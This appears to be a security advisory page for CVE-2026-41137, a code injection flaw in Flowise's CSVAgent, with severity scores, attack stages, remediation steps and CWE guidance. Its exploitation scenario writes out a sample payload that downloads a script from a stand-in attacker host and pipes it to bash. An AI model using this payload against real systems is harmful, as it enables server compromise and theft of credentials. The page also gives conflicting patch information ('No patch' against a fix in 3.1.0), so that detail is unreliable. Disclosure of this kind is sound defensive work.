CVE-2026-41137: Flowise RCE — HIGH

CISO Take

A command injection flaw in Flowise's CSVAgent allows any low-privileged user to execute arbitrary OS commands on the server by supplying malicious Pandas code to the custom CSV read code field, which is interpolated and executed without sanitization. The CVSS score of 8.8, a public proof-of-concept exploit, network-accessible attack vector with no user interaction required, and only low-privilege authentication needed make this immediately actionable for any organization running Flowise — particularly those exposing AI workflow builders to developers, analysts, or external users. CISA's SSVC rating of ATTEND confirms near-term remediation is required, and with 59 known CVEs already tracked in this package, Flowise's aggregate security posture demands close scrutiny. Upgrade to Flowise 3.1.0 now; if patching is blocked, disable the CSVAgent node across all flows or restrict Flowise access to trusted administrators only and rotate all credentials accessible from the server environment.

Sources: NVD GitHub Advisory EPSS ATLAS

What is the risk?

High risk. All three CVSS impact vectors (Confidentiality, Integrity, Availability) are rated High, requiring only low authentication and no user interaction over the network. A public PoC lowers the exploitation bar to script-level adversaries. Flowise is widely deployed in enterprise AI automation, internal tooling, and multi-user LLM workflow platforms, meaning successful exploitation can pivot to LLM API keys, vector databases, and connected business systems within the same deployment environment.

How does the attack unfold?

Initial Access

Attacker authenticates to a Flowise instance with any low-privilege account and navigates to a flow containing a CSVAgent node.

AML.T0049

Payload Injection

Attacker inserts a malicious Python/Pandas command injection payload into the CSVAgent custom CSV read code configuration field.

AML.T0050

Code Execution

Flowise interpolates the attacker-controlled code without sanitization and executes it server-side when the CSVAgent processes any CSV file, yielding RCE.

AML.T0053

Impact

Attacker achieves full server compromise — exfiltrating LLM API keys, database credentials, and agent configurations, or establishing persistence within the AI workflow infrastructure.

AML.T0083

Initial Access

Attacker authenticates to a Flowise instance with any low-privilege account and navigates to a flow containing a CSVAgent node.

AML.T0049

Payload Injection

Attacker inserts a malicious Python/Pandas command injection payload into the CSVAgent custom CSV read code configuration field.

AML.T0050

Code Execution

Flowise interpolates the attacker-controlled code without sanitization and executes it server-side when the CSVAgent processes any CSV file, yielding RCE.

AML.T0053

Impact

Attacker achieves full server compromise — exfiltrating LLM API keys, database credentials, and agent configurations, or establishing persistence within the AI workflow infrastructure.

AML.T0083

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Flowise	npm	—	No patch

Do you use Flowise? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

1.5%

chance of exploitation in 30 days

Higher than 70% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

Immediate: Upgrade Flowise to version 3.1.0 or later, which contains the sanitization fix.
If upgrade is blocked, disable the CSVAgent node in all active flows and restrict Flowise UI access to trusted administrators only.
Rotate all credentials accessible from the Flowise server environment (LLM API keys, database credentials, cloud IAM tokens) as a precautionary measure if the instance was accessible to non-admin users.
Review server logs for unusual subprocess execution, unexpected outbound connections, or abnormal file system access patterns.
Audit all existing CSVAgent custom code configurations for previously injected malicious payloads before re-enabling after patching.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Agent Framework AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0083 - Credentials from AI Agent Configuration

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, Robustness and Cybersecurity

ISO 42001

A.6.2 - AI System Security

NIST AI RMF

MANAGE-2.2 - Risk Responses for AI Risks

OWASP LLM Top 10

LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-41137?

A command injection flaw in Flowise's CSVAgent allows any low-privileged user to execute arbitrary OS commands on the server by supplying malicious Pandas code to the custom CSV read code field, which is interpolated and executed without sanitization. The CVSS score of 8.8, a public proof-of-concept exploit, network-accessible attack vector with no user interaction required, and only low-privilege authentication needed make this immediately actionable for any organization running Flowise — particularly those exposing AI workflow builders to developers, analysts, or external users. CISA's SSVC rating of ATTEND confirms near-term remediation is required, and with 59 known CVEs already tracked in this package, Flowise's aggregate security posture demands close scrutiny. Upgrade to Flowise 3.1.0 now; if patching is blocked, disable the CSVAgent node across all flows or restrict Flowise access to trusted administrators only and rotate all credentials accessible from the server environment.

Is CVE-2026-41137 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-41137, increasing the risk of exploitation.

How to fix CVE-2026-41137?

1. Immediate: Upgrade Flowise to version 3.1.0 or later, which contains the sanitization fix. 2. If upgrade is blocked, disable the CSVAgent node in all active flows and restrict Flowise UI access to trusted administrators only. 3. Rotate all credentials accessible from the Flowise server environment (LLM API keys, database credentials, cloud IAM tokens) as a precautionary measure if the instance was accessible to non-admin users. 4. Review server logs for unusual subprocess execution, unexpected outbound connections, or abnormal file system access patterns. 5. Audit all existing CSVAgent custom code configurations for previously injected malicious payloads before re-enabling after patching.

What systems are affected by CVE-2026-41137?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM workflow builders, AI automation pipelines, multi-tenant AI platforms.

What is the CVSS score for CVE-2026-41137?

CVE-2026-41137 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 1.45%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM workflow buildersAI automation pipelinesmulti-tenant AI platforms

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0083 Credentials from AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2

NIST AI RMF: MANAGE-2.2

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.

Exploitation Scenario

An attacker with a low-privilege Flowise account — a developer, analyst, or any user with access to the workflow builder — opens or creates a flow containing a CSVAgent node. They modify the custom Pandas CSV read code field to embed a command injection payload, for example injecting `__import__('os').system('curl https://attacker.com/shell.sh | bash')` within the Pandas code string. When the CSVAgent executes against any CSV file, Flowise interpolates the attacker-controlled code into the execution context without sanitization and runs it server-side with the Flowise process privileges. The attacker obtains a reverse shell, exfiltrates environment variables containing LLM API keys and database credentials, and establishes persistence within the AI workflow infrastructure.

Weaknesses (CWE)

CWE-94 Improper Control of Generation of Code ('Code Injection')

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

[Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
[Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.